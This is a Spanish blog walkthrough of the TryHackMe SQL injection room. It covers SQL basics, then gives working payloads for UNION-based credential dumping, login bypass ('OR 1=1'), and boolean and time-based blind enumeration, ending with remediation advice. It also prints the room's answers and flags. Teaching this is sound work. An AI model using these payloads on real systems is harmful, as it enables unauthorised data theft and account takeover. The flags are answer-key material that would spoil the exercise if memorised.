Saltar al contenido
Portada » Blog – Laprovittera Carlos » TryHackMe SQL Injection

TryHackMe SQL Injection

Hola hacketones! Bienvenidos a un nuevo CTF de la ruta completa de Web Fundamentals, en este capítulo veremos:  TryHackMe SQL Injection

Introducción

La inyección de SQL (lenguaje de consulta estructurado), comúnmente conocida como SQLi , es un ataque al servidor de bases de datos de una aplicación web que provoca la ejecución de consultas maliciosas. Cuando una aplicación web se comunica con una base de datos utilizando la información de un usuario no validada correctamente, existe la posibilidad de que un atacante robe, elimine o altere datos privados y de clientes, así como de atacar los métodos de autenticación de la aplicación web en áreas privadas o de clientes. Por ello, SQLi es una de las vulnerabilidades más antiguas de las aplicaciones web y, a la vez, una de las más dañinas. En

esta sala, aprenderá qué son las bases de datos, qué es SQL con algunos comandos SQL básicos , cómo detectar vulnerabilidades SQL , cómo explotarlas y, como desarrollador, cómo protegerse contra la inyección de SQL .

Responda las preguntas a continuación

¿Qué significa SQL?

Structured Query Language

¿Qué es una base de datos?

Si no está acostumbrado a trabajar con bases de datos o explotarlas, probablemente haya alguna terminología nueva a la que acostumbrarse, así que comencemos con algunos conceptos básicos sobre cómo se estructuran las bases de datos y cómo funcionan.

Una base de datos es una forma de almacenar electrónicamente conjuntos de datos de forma organizada. Una base de datos está controlada por un SGBD (Sistema de Gestión de Bases de Datos). Los SGBD se dividen en dos categorías: relacionales y no relacionales. En esta sesión nos centraremos en las bases de datos relacionales; algunas de las más comunes que encontrará son MySQL, Microsoft SQL Server, Access, PostgreSQL y SQLite. Al final de esta sesión, explicaremos la diferencia entre bases de datos relacionales y no relacionales, pero primero es importante aprender algunos términos.

Dentro de un SGBD, puede tener varias bases de datos, cada una con su propio conjunto de datos relacionados. Por ejemplo, podría tener una base de datos llamada » tienda «. En esta base de datos, desea almacenar información sobre los productos disponibles para la compra , los usuarios registrados en su tienda en línea y la información sobre los pedidos recibidos. Esta información se almacenaría por separado en la base de datos mediante tablas. Cada tabla se identifica con un nombre único. Puede ver esta estructura en el diagrama a continuación, pero también puede ver cómo una empresa podría tener otras bases de datos independientes para almacenar información del personal o del equipo de contabilidad.

¿Qué son las tablas?

Una tabla se compone de columnas y filas; una forma útil de imaginar una tabla es como una cuadrícula con las columnas que van de arriba a abajo, de izquierda a derecha, y contienen el nombre de la celda, y las filas que van de arriba a abajo, cada una con los datos reales.

Columnas:

Cada columna, mejor conocida como campo, tiene un nombre único por tabla. Al crear una columna, también se define el tipo de datos que contendrá; los más comunes son enteros (números), cadenas (texto estándar) o fechas. Algunas bases de datos pueden contener datos mucho más complejos, como los geoespaciales, que contienen información de ubicación. Configurar el tipo de dato también garantiza que no se almacene información incorrecta, como la cadena «hola mundo» en una columna de fechas. Si esto ocurre, el servidor de la base de datos suele generar un mensaje de error. Una columna que contiene un entero también puede tener habilitada la función de autoincremento; esto asigna a cada fila de datos un número único que crece con cada fila subsiguiente. Esto crea lo que se denomina un campo clave ; un campo clave debe ser único para cada fila de datos, lo que permite encontrar esa fila exacta en consultas SQL .

Filas:

Las filas o registros contienen líneas de datos individuales. Al agregar datos a la tabla, se crea una nueva fila o registro; al eliminar datos, se elimina una nueva fila o registro.

Bases de datos relacionales vs. no relacionales:

Una base de datos relacional almacena información en tablas, y a menudo, estas comparten información entre sí. Utilizan columnas para especificar y definir los datos almacenados y filas para almacenarlos. Las tablas suelen contener una columna con un ID único (clave principal), que se utiliza en otras tablas para referenciarla y generar una relación entre ellas; de ahí el nombre de base de datos relacional .

Por otro lado, las bases de datos no relacionales, a veces llamadas NoSQL, son cualquier tipo de base de datos que no utiliza tablas, columnas ni filas para almacenar los datos. No es necesario crear un diseño de base de datos específico, por lo que cada fila de datos puede contener información diferente, lo que ofrece mayor flexibilidad que una base de datos relacional. Algunas bases de datos populares de este tipo son MongoDB, Cassandra y ElasticSearch .

Ahora que has aprendido qué es una base de datos, aprendamos cómo podemos comunicarnos con ella usando SQL .

Responda las preguntas a continuación

¿Cuál es el acrónimo del software que controla una base de datos?

DBMS

¿Cómo se llama la estructura tipo cuadrícula que contiene los datos?

Table

¿Qué es SQL?

SQL (lenguaje de consulta estructurado) es un lenguaje rico en funciones que se utiliza para consultar bases de datos. Estas consultas SQL se denominan mejor sentencias.

El comando más simple que cubriremos en esta tarea se usa para recuperar (seleccionar), actualizar, insertar y eliminar datos. Aunque son similares, algunos servidores de bases de datos tienen su propia sintaxis y ligeros cambios en su funcionamiento. Todos estos ejemplos se basan en una base de datos MySQL. Después de aprender las lecciones, podrá buscar fácilmente sintaxis alternativa en línea para los diferentes servidores. Cabe destacar que la sintaxis SQL no distingue entre mayúsculas y minúsculas.

SELECCIONAR

El primer tipo de consulta que aprenderemos es la consulta SELECT, utilizada para recuperar datos de la base de datos. 

select * from users;

identificaciónnombre de usuariocontraseña
1Jonpase123
2administracióncontraseña
3martínsecreto123

La primera palabra, SELECT, indica a la base de datos que queremos recuperar datos; el * indica que queremos recuperar todas las columnas de la tabla. Por ejemplo, la tabla puede contener tres columnas (id, nombre de usuario y contraseña). «from users» indica a la base de datos que queremos recuperar los datos de la tabla «users». Finalmente, el punto y coma al final indica a la base de datos que este es el final de la consulta.  

La siguiente consulta es similar a la anterior, pero esta vez, en lugar de utilizar el * para devolver todas las columnas de la tabla de la base de datos, solo solicitamos el campo de nombre de usuario y contraseña.

select username,password from users;

nombre de usuariocontraseña
Jonpase123
administracióncontraseña
martínsecreto123

La siguiente consulta, al igual que la primera, devuelve todas las columnas mediante el selector *. La cláusula «LIMIT 1» obliga a la base de datos a devolver solo una fila. Cambiar la consulta a «LIMIT 1,1» obliga a omitir el primer resultado, y luego a «LIMIT 2,1» omite los dos primeros, y así sucesivamente. Recuerde que el primer número indica a la base de datos cuántos resultados desea omitir y el segundo cuántas filas devolver.

select * from users LIMIT 1;

identificaciónnombre de usuariocontraseña
1Jonpase123

Por último, vamos a utilizar la cláusula where; así es como podemos seleccionar con precisión los datos exactos que necesitamos al devolver datos que coincidan con nuestras cláusulas específicas:

select * from users where username=’admin’;

identificaciónnombre de usuariocontraseña
2administracióncontraseña

Esto solo devolverá las filas donde el nombre de usuario sea igual a admin.

select * from users where username != ‘admin’;

identificaciónnombre de usuariocontraseña
1Jonpase123
3martínsecreto123

Esto solo devolverá las filas donde el nombre de usuario  NO sea  igual a admin.

select * from users where username=’admin’ or username=’jon’;

identificaciónnombre de usuariocontraseña
1Jonpase123
2administracióncontraseña

Esto solo devolverá las filas donde el nombre de usuario sea igual a  admin  o j en . 

select * from users where username=’admin’ and password=’p4ssword’;

identificaciónnombre de usuariocontraseña
2administracióncontraseña

Esto solo devolverá las filas donde el nombre de usuario sea igual a  admin  y la contraseña sea igual a  p4ssword .

El uso de la cláusula like le permite especificar datos que no son una coincidencia exacta sino que comienzan, contienen o terminan con ciertos caracteres eligiendo dónde colocar el carácter comodín representado por un signo de porcentaje %.

select * from users where username like ‘a%’;

identificaciónnombre de usuariocontraseña
2administracióncontraseña

Esto devuelve cualquier fila con un nombre de usuario que comience con la letra a.

select * from users where username like ‘%n’;

identificaciónnombre de usuariocontraseña
1Jonpase123
2administracióncontraseña
3martínsecreto123

Esto devuelve cualquier fila con un nombre de usuario que termine con la letra n.

select * from users where username like ‘%mi%’;

identificaciónnombre de usuariocontraseña
2administracióncontraseña

Esto devuelve cualquier fila con un nombre de usuario que contenga los caracteres  mi  dentro.

UNIÓN

La sentencia UNION combina los resultados de dos o más sentencias SELECT para recuperar datos de una o varias tablas. Las reglas de esta consulta son que la sentencia UNION debe recuperar el mismo número de columnas en cada sentencia SELECT, que las columnas deben ser de un tipo de datos similar y que el orden de las columnas debe ser el mismo. Esto puede parecer confuso, así que usemos la siguiente analogía. Supongamos que una empresa desea crear una lista de direcciones para todos los clientes y proveedores para publicar un nuevo catálogo. Tenemos una tabla llamada clientes con el siguiente contenido:

identificaciónnombreDIRECCIÓNciudadcódigo postal
1Señor John SmithCalle falsa 123ManchesterM2 3FJ
2Señora Jenny Palmer99 Green RoadBirminghamB2 4KL
3Señorita Sarah Lewis15 Fore StreetLondresNW12 3GH

Y otro llamado proveedores con el siguiente contenido:

identificacióncompañíaDIRECCIÓNciudadcódigo postal
1Widgets LtdUnidad 1a, Newby EstateBrístolBS19 4RT
2La empresa de herramientas75 Carretera IndustrialNorwichN22 3DR
3Fabricantes de hachas Ltd.Unidad de creadores 2b, Market RoadLondresSE9 1KK

Usando la siguiente declaración SQL, podemos recopilar los resultados de las dos tablas y colocarlos en un conjunto de resultados:

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

nombreDIRECCIÓNciudadcódigo postal
Señor John SmithCalle falsa 123ManchesterM2 3FJ
Señora Jenny Palmer99 Green RoadBirminghamB2 4KL
Señorita Sarah Lewis15 Fore StreetLondresNW12 3GH
Widgets LtdUnidad 1a, Newby EstateBrístolBS19 4RT
La empresa de herramientas75 Carretera IndustrialNorwichN22 3DR
Fabricantes de hachas Ltd.Unidad de creadores 2b, Market RoadLondresSE9 1KK

INSERTAR

La  declaración INSERT  le dice a la base de datos que deseamos insertar una nueva fila de datos en la tabla.  «into users»  le dice a la base de datos en qué tabla deseamos insertar los datos,  «(username,password)»  proporciona las columnas para las que estamos proporcionando datos y luego  «values ​​(‘bob’,’password’);»  proporciona los datos para las columnas especificadas previamente.

insert into users (username,password) values (‘bob’,’password123′);

identificaciónnombre de usuariocontraseña
1Jonpase123
2administracióncontraseña
3martínsecreto123
4chelíncontraseña123

ACTUALIZAR

La  instrucción UPDATE  indica a la base de datos que deseamos actualizar una o más filas de datos dentro de una tabla. Se especifica la tabla que se desea actualizar mediante » update %tablename% SET » y luego se seleccionan los campos que se desean actualizar como una lista separada por comas, como » username=’root’,password=’pass123′ «. Finalmente, de forma similar a la instrucción SELECT, se puede especificar exactamente qué filas se actualizarán mediante la cláusula where, como » where username=’admin; «.

update users SET username=’root’,password=’pass123′ where username=’admin’;

identificaciónnombre de usuariocontraseña
1Jonpase123
2raízpase123
3martínsecreto123
4chelíncontraseña123

BORRAR

La  sentencia DELETE  indica a la base de datos que deseamos eliminar una o más filas de datos. Salvo que omita las columnas que desea devolver, el formato de esta consulta es muy similar al de SELECT. Puede especificar con precisión qué datos eliminar mediante la  cláusula where  y el número de filas que se eliminarán mediante la  cláusula LIMIT  .

delete from users where username=’martin’;

identificaciónnombre de usuariocontraseña
1Jonpase123
2raízpase123
4chelíncontraseña123

delete from users;

Como no se utilizó ninguna cláusula WHERE en la consulta, se eliminaron todos los datos de la tabla.

identificaciónnombre de usuariocontraseña

Responda las preguntas a continuación

¿Qué declaración SQL se utiliza para recuperar datos?

select

¿Qué cláusula SQL se puede utilizar para recuperar datos de varias tablas?

UNION

¿Qué declaración SQL se utiliza para agregar datos?

 INSERT

¿Qué es la inyección SQL ?

Una aplicación web que usa SQL puede sufrir una inyección SQL cuando los datos proporcionados por el usuario se incluyen en laconsulta SQL .

¿Cómo se ve?

Imagine el siguiente escenario donde se encuentra con un blog en línea, y cada entrada del blog tiene un número de identificación único. Las entradas del blog pueden configurarse como públicas o privadas, dependiendo de si están listas para su lanzamiento público. La URL para cada entrada del blog puede verse así:

https://website.thm/blog?id=1

Desde la URL anterior, puede ver que la entrada del blog seleccionada proviene del parámetro id en la cadena de consulta. La aplicación web necesita recuperar el artículo de la base de datos y puede usar una sentencia SQL similar a la siguiente:

SELECT * from blog where id=1 and private=0 LIMIT 1;

De lo que ha aprendido en la tarea anterior, debería poder deducir que la sentencia SQL anterior busca en la tabla del blog un artículo con el número de id de 1 y la columna privada establecida en 0, lo que significa que puede ser visto por el público y limita los resultados a una sola coincidencia.

Como se mencionó al principio de esta tarea, la inyección SQL se introduce cuando se introduce la entrada del usuario en la consulta de la base de datos. En este caso, el parámetro id de la cadena de consulta se usa directamente en la consulta SQL .

Supongamos que el ID del artículo 2 sigue bloqueado como privado, por lo que no se puede ver en el sitio web. Ahora podríamos llamar a la URL:

https://website.thm/blog?id=2;–

Lo que, a su vez, generaría la sentencia SQL:

SELECT * from blog where id=2;– and private=0 LIMIT 1;

El punto y coma en la URL indica el final de la sentencia SQL , y los dos guiones hacen que todo lo que sigue se trate como un comentario . Al hacer esto, en realidad solo se ejecuta la consulta:

SELECT * from blog where id=2;–

Que devolverá el artículo con un ID de 2, independientemente de si está configurado como público o no.

Este fue solo un ejemplo de una vulnerabilidad de inyección SQL de un tipo llamado inyección SQL en banda ; hay tres tipos en total: en banda, ciega y fuera de banda, que analizaremos en las siguientes tareas.

Responda las preguntas a continuación

¿Qué carácter significa el final de una consulta SQL?

;

SQLi en banda

Inyección SQL en banda

La inyección SQL en banda es el tipo más fácil de detectar y explotar; en banda simplemente se refiere al mismo método de comunicación que se utiliza para explotar la vulnerabilidad y también recibir los resultados, por ejemplo, descubrir una vulnerabilidad de inyección SQL en una página web y luego poder extraer datos de la base de datos a la misma página.

Inyección SQL basada en errores

Este tipo de inyección SQL es el más útil para obtener fácilmente información sobre la estructura de la base de datos, ya que los mensajes de error se imprimen directamente en la pantalla del navegador. A menudo, se puede usar para enumerar una base de datos completa. 

Inyección SQL basada en unión

Este tipo de inyección utiliza el operador SQL UNION junto con una instrucción SELECT para devolver resultados adicionales a la página. Este método es la forma más común de extraer grandes cantidades de datos mediante una vulnerabilidad de inyección SQL .

Práctico:

Haga clic en el botón verde «Iniciar máquina» para usar el laboratorio de práctica con el ejemplo de inyección SQL . Cada nivel contiene un navegador simulado y cuadros de consulta y error SQL para ayudarle a corregir sus consultas y carga útil. Es posible que deba actualizar esta página web una vez que la máquina se inicie si recibe un error 502 Bad Gateway.

El primer nivel del laboratorio de práctica contiene un navegador simulado y un sitio web que presenta un blog con diferentes artículos, al que se puede acceder cambiando el número de identificación en la cadena de consulta.

La clave para descubrir una inyección SQL basada en errores es romper la consulta SQL del código probando ciertos caracteres hasta que se produzca un mensaje de error; los más comunes son apóstrofes simples ( ‘ ) o comillas ( » ).

Intente escribir un apóstrofo (    ) después de id=1 y presione Enter. Verá que se devuelve un error de SQL que le informa de un error de sintaxis. Este mensaje de error confirma la existencia de una vulnerabilidad de inyección SQL . Ahora podemos explotar esta vulnerabilidad y usar los mensajes de error para obtener más información sobre la estructura de la base de datos. 

Lo primero que debemos hacer es devolver los datos al navegador sin mostrar un mensaje de error. Primero, probaremos el operador UNION para obtener un resultado adicional si lo elegimos. Intenta configurar el parámetro id del navegador simulado como:

1 UNION SELECT 1

Esta instrucción debería generar un mensaje de error que informa que la instrucción UNION SELECT tiene un número de columnas diferente al de la consulta SELECT original. Intentémoslo de nuevo, pero agregando otra columna:

1 UNION SELECT 1,2

El mismo error nuevamente, así que repitámoslo agregando otra columna:

1 UNION SELECT 1,2,3

Éxito, el mensaje de error ha desaparecido y el artículo se muestra, pero ahora queremos mostrar nuestros datos en lugar del artículo. El artículo se muestra porque toma el primer resultado devuelto en algún lugar del código del sitio web y lo muestra. Para solucionarlo, necesitamos que la primera consulta no produzca resultados. Esto se puede hacer simplemente cambiando el ID del artículo de 1 a 0.

0 UNION SELECT 1,2,3

Ahora verá que el artículo se compone únicamente del resultado de la selección UNION, que devuelve los valores de las columnas 1, 2 y 3. Podemos empezar a usar estos valores devueltos para recuperar información más útil. Primero, obtendremos el nombre de la base de datos a la que tenemos acceso:

0 UNION SELECT 1,2,database()

Ahora verás donde antes se mostraba el número 3; ahora muestra el nombre de la base de datos, que es  sqli_one .

Nuestra próxima consulta recopilará una lista de tablas que están en esta base de datos.

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = ‘sqli_one’

Hay un par de cosas nuevas que aprender en esta consulta. Primero, el método  group_concat()  obtiene la columna especificada (en nuestro caso, table_name) de varias filas devueltas y la coloca en una cadena separada por comas. A continuación, se encuentra la  base de datos information_schema  ; todos los usuarios de la base de datos tienen acceso a ella y contiene información sobre todas las bases de datos y tablas a las que el usuario tiene acceso. En esta consulta en particular, nos interesa listar todas las tablas de la  base de datos sqli_one  , que son article y staff_users. 

Dado que el primer nivel busca descubrir la contraseña de Martin, nos interesa la tabla staff_users. Podemos utilizar de nuevo la base de datos information_schema para encontrar la estructura de esta tabla mediante la siguiente consulta.

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = ‘staff_users’

Esto es similar a la consulta SQL anterior. Sin embargo, la información que queremos recuperar ha cambiado de table_name a  column_name , la tabla que consultamos en la base de datos information_schema ha cambiado de tables a  columns y buscamos filas donde la  columna table_name  tenga el valor  staff_users .

Los resultados de la consulta proporcionan tres columnas para la tabla staff_users: id, contraseña y nombre de usuario. Podemos usar las columnas de nombre de usuario y contraseña en nuestra siguiente consulta para recuperar la información del usuario.

0 UNION SELECT 1,2,group_concat(username,’:’,password SEPARATOR ‘<br>’) FROM staff_users

Nuevamente, usamos el método group_concat para devolver todas las filas en una sola cadena y facilitar su lectura. También añadimos  ,’:’,  para separar el nombre de usuario y la contraseña. En lugar de separarlos con una coma, elegimos la etiqueta HTML  <br>  , que obliga a cada resultado a aparecer en una línea independiente para facilitar la lectura.

Ahora deberías tener acceso a la contraseña de Martin para ingresar y pasar al siguiente nivel.

Responda las preguntas a continuación

¿Cuál es la bandera después de completar el nivel 1?

THM{SQL_INJECTION_3840}

SQLi ciego

A diferencia de la inyección SQL en banda , donde podemos ver los resultados de nuestro ataque directamente en pantalla, la SQLi ciega ocurre cuando recibimos poca o ninguna retroalimentación para confirmar si nuestras consultas inyectadas fueron exitosas. Esto se debe a que los mensajes de error se han desactivado, pero la inyección sigue funcionando. Quizás le sorprenda saber que solo necesitamos esa pequeña retroalimentación para enumerar correctamente una base de datos completa.

Omisión de autenticación

Una de las técnicas más sencillas de inyección SQL ciega es la que se utiliza para eludir métodos de autenticación como los formularios de inicio de sesión. En este caso, no nos interesa recuperar datos de la base de datos; simplemente queremos eludir el inicio de sesión. 

Los formularios de inicio de sesión conectados a una base de datos de usuarios suelen estar diseñados de tal manera que la aplicación web no se interesa por el contenido del nombre de usuario y la contraseña, sino por si ambos coinciden en la tabla de usuarios. En resumen, la aplicación web pregunta a la base de datos : «¿Tiene un usuario con el nombre de usuario bob y la contraseña bob123?». La base de datos responde sí o no (verdadero/falso) y, en función de esa respuesta, determina si la aplicación web permite continuar. 

Teniendo en cuenta la información anterior, no es necesario enumerar un par de nombre de usuario/contraseña válido. Solo necesitamos crear una consulta de base de datos que responda con sí/verdadero.

Práctico:

El segundo nivel de ejemplos de inyección SQL muestra este mismo ejemplo. En el cuadro «Consulta SQL » , podemos ver que la consulta a la base de datos es la siguiente:

select * from users where username=’%username%’ and password=’%password%’ LIMIT 1;

Nota: Los  valores %username%  y  %password%  se toman de los campos del formulario de inicio de sesión. Los valores iniciales del cuadro de consulta SQL estarán en blanco, ya que estos campos están vacíos.

Para convertir esto en una consulta que siempre devuelva como verdadero, podemos ingresar lo siguiente en el campo de contraseña:

‘ OR 1=1;–

Lo que convierte la consulta SQL en lo siguiente:

select * from users where username=» and password=» OR 1=1;

Debido a que 1=1 es una afirmación verdadera y hemos utilizado un  operador OR  , esto siempre hará que la consulta regrese como verdadera, lo que satisface la lógica de las aplicaciones web de que la base de datos encontró una combinación de nombre de usuario/contraseña válida y que se debe permitir el acceso.

Responda las preguntas a continuación

¿Cuál es la bandera después de completar el nivel dos? (y pasar al nivel 3)

Control

THM{SQL_INJECTION_9581}

SQLi ciego basado en booleanos

Basado en Boole

La inyección SQL basada en booleanos se refiere a la respuesta que recibimos tras nuestros intentos de inyección, que puede ser verdadero/falso, sí/no, activado/desactivado, 1/0 o cualquier respuesta con solo dos resultados. Este resultado confirma si nuestra carga útil de inyección SQL fue exitosa o no. A primera vista, puede parecer que esta respuesta limitada no proporciona mucha información. Sin embargo, con solo estas dos respuestas, es posible enumerar la estructura y el contenido completos de una base de datos.

Práctico:

En el nivel tres de la máquina de ejemplos de inyección SQL , se le presenta un navegador simulado con la siguiente URL:

https://sitioweb.thm/checkuser ? username=admin

El cuerpo del navegador contiene   {«taken»:true} . Este punto final de la API replica una función común en muchos formularios de registro: comprueba si ya se ha registrado un nombre de usuario para solicitar al usuario que elija uno diferente. Dado que el   valor  de «taken» es » true» , podemos asumir que el nombre de usuario «admin» ya está registrado. Podemos confirmarlo cambiando el nombre de usuario en la barra de direcciones del navegador simulado de  «admin»  a  «admin123» . Al pulsar Intro, verá que el valor  de «taken»  ha cambiado a  «false» .

La consulta SQL que se procesa se parece a la siguiente:

select * from users where username = ‘%username%’ LIMIT 1;

La única entrada que podemos controlar es el nombre de usuario en la cadena de consulta, y tendremos que usarlo para realizar la inyección SQL. Manteniendo el nombre de usuario como  admin123 , podemos empezar a añadir datos para intentar que la base de datos confirme la veracidad, cambiando el estado del campo tomado de falso a verdadero.

Al igual que en los niveles anteriores, nuestra primera tarea es establecer el número de columnas en la tabla de usuarios, lo cual podemos lograr mediante la sentencia UNION. Cambie el valor del nombre de usuario por el siguiente:

admin123′ UNION SELECT 1;– 

Como la aplicación web ha respondido con el valor  » false  «, podemos confirmar que este es el valor incorrecto de las columnas. Continúe agregando más columnas hasta que el   valor  «true» sea » token «. Puede confirmar que la respuesta es «three column» estableciendo el nombre de usuario con el siguiente valor:

admin123′ UNION SELECT 1,2,3;– 

Ahora que hemos establecido el número de columnas, podemos trabajar en la enumeración de la base de datos. Nuestra primera tarea es descubrir el nombre de la base de datos. Podemos hacerlo usando el   método  integrado database() y luego usando el operador «like»  para intentar encontrar resultados que devuelvan un estado verdadero.

Pruebe el siguiente valor de nombre de usuario y vea qué sucede:

admin123′ UNION SELECT 1,2,3 where database() like ‘%’;–

Obtenemos una respuesta verdadera porque, en el operador «like», solo tenemos el valor  % , que coincidirá con cualquier valor, ya que es el comodín. Si cambiamos el operador comodín a  a% , la respuesta volverá a ser falsa, lo que confirma que el nombre de la base de datos no empieza con la letra »   . Podemos recorrer todas las letras, números y caracteres, como «-» y «_», hasta encontrar una coincidencia. Si envía el siguiente valor como nombre de usuario, recibirá una  respuesta verdadera  que confirma que el nombre de la base de datos empieza con la letra  «s» .

admin123′ UNION SELECT 1,2,3 where database() like ‘s%’;–

Ahora pasa  al siguiente carácter del nombre de la base de datos hasta que encuentre otra respuesta verdadera, por ejemplo, ‘sa%’, ‘sb%’, ‘sc%’, etc. Continúe con este proceso hasta que descubra todos los caracteres del nombre de la base de datos, que es  sqli_three .

Hemos establecido el nombre de la base de datos, que ahora podemos usar para enumerar los nombres de las tablas con un método similar, utilizando la base de datos information_schema. Intenta configurar el nombre de usuario con el siguiente valor:

admin123′ UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = ‘sqli_three’ and table_name like ‘a%’;–

Esta consulta busca resultados en la  base de datos information_schema,  en la  tabla tables  , donde el nombre de la base de datos coincida con  sqli_three y el nombre de la tabla comience con la letra a. Dado que la consulta anterior genera una  respuesta falsa  , podemos confirmar que no hay tablas en la base de datos sqli_three que comiencen con la letra a. Como antes, deberá recorrer letras, números y caracteres hasta encontrar una coincidencia.

Finalmente, descubrirás una tabla en la base de datos sqli_three llamada users, que puedes confirmar ejecutando la siguiente carga de nombre de usuario:

admin123′ UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = ‘sqli_three’ and table_name=’users’;–

Finalmente, necesitamos enumerar los nombres de las columnas en la  tabla «users»  para poder buscar correctamente las credenciales de inicio de sesión. De nuevo, podemos usar la base de datos information_schema y la información obtenida para consultarla. Con la siguiente carga útil, buscamos en la  tabla «columns»  donde la base de datos es sqli_three, el nombre de la tabla es «users» y el nombre de la columna empieza con la letra «a».

admin123′ UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=’sqli_three’ and TABLE_NAME=’users’ and COLUMN_NAME like ‘a%’;

Nuevamente, deberás recorrer letras, números y caracteres hasta encontrar una coincidencia. Como buscas múltiples resultados, deberás agregar esto a tu carga útil cada vez que encuentres un nuevo nombre de columna para evitar encontrar el mismo. Por ejemplo, una vez que encuentres la columna  id , la añadirás a tu carga útil original (como se muestra a continuación).

admin123′ UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=’sqli_three’ and TABLE_NAME=’users’ and COLUMN_NAME like ‘a%’ and COLUMN_NAME !=’id’;

Al repetir este proceso tres veces, podrá descubrir el ID, el nombre de usuario y la contraseña de las columnas. Estos datos ahora pueden usarse para consultar la  tabla de usuarios  y obtener las credenciales de inicio de sesión. Primero, deberá descubrir un nombre de usuario válido, que puede usar con la siguiente carga útil:

admin123′ UNION SELECT 1,2,3 from users where username like ‘a%

Una vez que hayas recorrido todos los caracteres, confirmarás la existencia del nombre de usuario  admin . Ya tienes el nombre de usuario. Puedes concentrarte en encontrar la contraseña. La siguiente carga útil te muestra cómo encontrarla:

admin123′ UNION SELECT 1,2,3 from users where username=’admin’ and password like ‘a%

Al recorrer todos los personajes, descubrirás que la contraseña es 3845.

Ahora puede usar el nombre de usuario y la contraseña que ha enumerado a través de la vulnerabilidad de inyección SQL ciega en el formulario de inicio de sesión para acceder al siguiente nivel.

Responda las preguntas a continuación

¿Cuál es la bandera después de completar el nivel tres?

Controlar

THM{SQL_INJECTION_1093}

SQLi ciego basado en el tiempo

Basado en el tiempo

Una inyección SQL ciega basada en tiempo es muy similar a la anterior, basada en booleanos, en que se envían las mismas solicitudes, pero no hay un indicador visual de si las consultas son correctas o incorrectas. En cambio, el indicador de una consulta correcta se basa en el tiempo que tarda en completarse. Este retraso se introduce mediante métodos integrados como  SLEEP(x)  junto con la sentencia UNION. El método SLEEP() solo se ejecutará tras una sentencia UNION SELECT correcta. 

Entonces, por ejemplo, al intentar establecer el número de columnas en una tabla, utilizaría la siguiente consulta:

admin123′ UNION SELECT SLEEP(5);–

Si no hubo pausa en el tiempo de respuesta, sabemos que la consulta no fue exitosa, por lo que, como en tareas anteriores, agregamos otra columna:

admin123′ UNION SELECT SLEEP(5),2;–

Esta carga útil debería haber producido un retraso de 5 segundos, confirmando la ejecución exitosa de la declaración UNION y que hay dos columnas.

Ahora puede repetir el proceso de enumeración de la  inyección SQL basada en Boole, agregando el método SLEEP() a la  declaración UNION SELECT  .

Si tiene dificultades para encontrar el nombre de la tabla, la siguiente consulta debería ayudarle:

referrer=admin123′ UNION SELECT SLEEP(5),2 where database() like ‘u%’;–

admin123′ UNION SELECT SLEEP(2),2 FROM users WHERE username=’admin’ AND password LIKE ‘4961%’;–

Responda las preguntas a continuación

¿Cuál es la bandera final después de completar el nivel cuatro?

THM{SQL_INJECTION_MASTER}

SQLi fuera de banda

La inyección SQL fuera de banda no es tan común, ya que depende de funciones específicas habilitadas en el servidor de bases de datos o de la lógica de negocio de la aplicación web, que realiza algún tipo de llamada a la red externa basándose en los resultados de una consulta SQL

. Un ataque fuera de banda se clasifica por tener dos canales de comunicación diferentes: uno para lanzar el ataque y otro para recopilar los resultados. Por ejemplo, el canal de ataque podría ser una solicitud web, y el canal de recopilación de datos podría ser la monitorización de solicitudes HTTP / DNS realizadas a un servicio que usted controla.

1) Un atacante realiza una solicitud a un sitio web vulnerable a la inyección SQL con una carga útil de inyección.

2) El sitio web realiza una consulta SQL a la base de datos, que también pasa la carga útil del hacker.

3) La carga útil contiene una solicitud que fuerza una solicitud HTTP a la máquina del hacker que contiene datos de la base de datos.

Responda las preguntas a continuación

Nombre un protocolo que comience con D que pueda usarse para extraer datos de una base de datos.

DNS

Remediación

Por más impactantes que sean las vulnerabilidades de inyección SQL , los desarrolladores tienen una forma de proteger sus aplicaciones web de ellas siguiendo los siguientes consejos:

Declaraciones preparadas (con consultas parametrizadas):

En una consulta preparada, lo primero que escribe un desarrollador es la consulta SQL , y luego, cualquier entrada del usuario se añade como parámetro. Escribir sentencias preparadas garantiza que la estructura del código SQL no cambie y que la base de datos pueda distinguir entre la consulta y los datos. Además, esto hace que el código se vea mucho más limpio y fácil de leer.

Validación de entrada:

La validación de entrada puede contribuir en gran medida a proteger lo que se introduce en una consulta SQL . Usar una lista de permitidos puede restringir la entrada a solo ciertas cadenas, o un método de reemplazo de cadenas en el lenguaje de programación puede filtrar los caracteres que se desean permitir o rechazar. 

Cómo escapar de la entrada del usuario:

Permitir la entrada del usuario que contenga caracteres como ‘ » $ \ puede provocar fallos en las consultas SQL o, peor aún, como hemos visto, exponerlas a ataques de inyección. Escapar la entrada del usuario consiste en anteponer una barra invertida ( \ ) a estos caracteres, lo que hace que se analicen como una cadena normal y no como un carácter especial.

Responda las preguntas a continuación

Nombre un método para protegerse de una vulnerabilidad de inyección SQL.

Prepared Statements

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *